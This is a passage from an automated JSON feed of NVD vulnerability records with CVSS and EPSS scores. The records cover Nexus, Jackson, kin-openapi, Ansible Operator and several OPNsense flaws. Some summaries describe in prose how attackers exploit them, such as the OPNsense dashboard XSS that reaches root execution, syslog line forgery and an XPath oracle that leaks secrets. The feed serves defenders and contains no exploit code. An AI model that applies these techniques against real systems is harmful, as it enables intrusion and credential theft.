2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97665","cveId":"CVE-2026-97665","aliases":[],"kind":"vulnerability","title":"A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist...","summary":"A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist NuGet symbol packages (.snupkg) to a hosted repository, bypassing the write-permission check enforced for ordinary package uploads. Exploitation requires a hosted NuGet repository with Symbol Server enabled. If anonymous access is enabled, the built-in anonymous user holds read and browse privileges across all repositories by default, so this precondition can also be met without an authenticated account.","detail":"A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist NuGet symbol packages (.snupkg) to a hosted repository, bypassing the write-permission check enforced for ordinary package uploads. Exploitation requires a hosted NuGet repository with Symbol Server enabled. If anonymous access is enabled, the built-in anonymous user holds read and browse privileges across all repositories by default, so this precondition can also be met without an authenticated account.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:25.490Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97665","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00325,"percentile":0.25292,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97665","type":"primary","publishedAt":"2026-10-15T16:18:25.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97394","cveId":"CVE-2026-97394","aliases":[],"kind":"vulnerability","title":"kin-openapi is a Go project for handling OpenAPI files.","summary":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.","detail":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:25.273Z","updatedAt":"2026-10-20T03:17:17.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97394","asOf":"2026-10-20T03:17:17.587Z"},"epss":{"probability":0.00615,"percentile":0.4915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97394","type":"primary","publishedAt":"2026-10-15T16:18:25.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95155","cveId":"CVE-2026-95155","aliases":[],"kind":"vulnerability","title":"FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested...","summary":"FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested JSON input to an application that deserializes untrusted JSON using ObjectMapper.readValue.","detail":"FasterXML Jackson 1.x, confirmed in jackson-mapper-asl versions 1.8.3, 1.9.2, 1.9.11, 1.9.12, and 1.9.13, allows attackers to cause a denial of service by supplying deeply nested JSON input to an application that deserializes untrusted JSON using ObjectMapper.readValue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:24.470Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95155","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00344,"percentile":0.27643,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95155","type":"primary","publishedAt":"2026-10-15T16:18:24.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92982","cveId":"CVE-2026-92982","aliases":[],"kind":"vulnerability","title":"A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR)...","summary":"A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR) specification values. These values are processed by Ansible without proper sanitization, allowing embedded Jinja2 expressions to be executed within the operator pod. This can lead to arbitrary code execution and privilege escalation, granting the attacker control over the operator's service account with cluster-wide permissions.","detail":"A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR) specification values. These values are processed by Ansible without proper sanitization, allowing embedded Jinja2 expressions to be executed within the operator pod. This can lead to arbitrary code execution and privilege escalation, granting the attacker control over the operator's service account with cluster-wide permissions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:23.657Z","updatedAt":"2026-10-21T19:17:04.523Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92982","asOf":"2026-10-21T19:17:04.523Z"},"epss":{"probability":0.00472,"percentile":0.40587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92982","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92982","type":"primary","publishedAt":"2026-10-15T16:18:23.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88753","cveId":"CVE-2026-88753","aliases":[],"kind":"vulnerability","title":"A Regular-Expression Denial of Service (ReDoS) in the Markdown2.","summary":"A Regular-Expression Denial of Service (ReDoS) in the Markdown2. extract_metadata() function (lib/markdown2.py) of trentm markdown2 through v2.5.5 allows attackers to cause a Denial of Service (DoS) via a crafted Markdown document.","detail":"A Regular-Expression Denial of Service (ReDoS) in the Markdown2. extract_metadata() function (lib/markdown2.py) of trentm markdown2 through v2.5.5 allows attackers to cause a Denial of Service (DoS) via a crafted Markdown document.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:22.887Z","updatedAt":"2026-10-20T03:17:17.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88753","asOf":"2026-10-20T03:17:17.410Z"},"epss":{"probability":0.0039,"percentile":0.32863,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88753&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88753","type":"primary","publishedAt":"2026-10-15T16:18:22.887Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88753&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88753, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71490","cveId":"CVE-2026-71490","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\\Core\\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\\Core\\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:19.723Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeBSD"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71490","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.0038,"percentile":0.31747,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71490","type":"primary","publishedAt":"2026-10-15T16:18:19.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63442","cveId":"CVE-2026-63442","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:19.157Z","updatedAt":"2026-10-16T18:18:00.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeBSD"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63442","asOf":"2026-10-16T18:18:00.230Z"},"epss":{"probability":0.00285,"percentile":0.20839,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63442","type":"primary","publishedAt":"2026-10-15T16:18:19.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58390","cveId":"CVE-2026-58390","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:17.890Z","updatedAt":"2026-10-20T03:17:16.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeBSD"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58390","asOf":"2026-10-20T03:17:16.080Z"},"epss":{"probability":0.00604,"percentile":0.48574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58390","type":"primary","publishedAt":"2026-10-15T16:18:17.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53582","cveId":"CVE-2026-53582","aliases":[],"kind":"vulnerability","title":"OPNsense is a FreeBSD based firewall and routing platform.","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.","detail":"OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:12.827Z","updatedAt":"2026-10-16T18:17:58.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeBSD"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53582","asOf":"2026-10-16T18:17:58.227Z"},"epss":{"probability":0.00726,"percentile":0.53838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53582&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53582","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53582","type":"primary","publishedAt":"2026-10-15T16:18:12.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53582&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53582, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45452","cveId":"CVE-2026-45452","aliases":[],"kind":"vulnerability","title":"Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.","summary":"Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.","detail":"Use of Externally-Controlled format string vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:11.983Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45452","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00267,"percentile":0.18689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 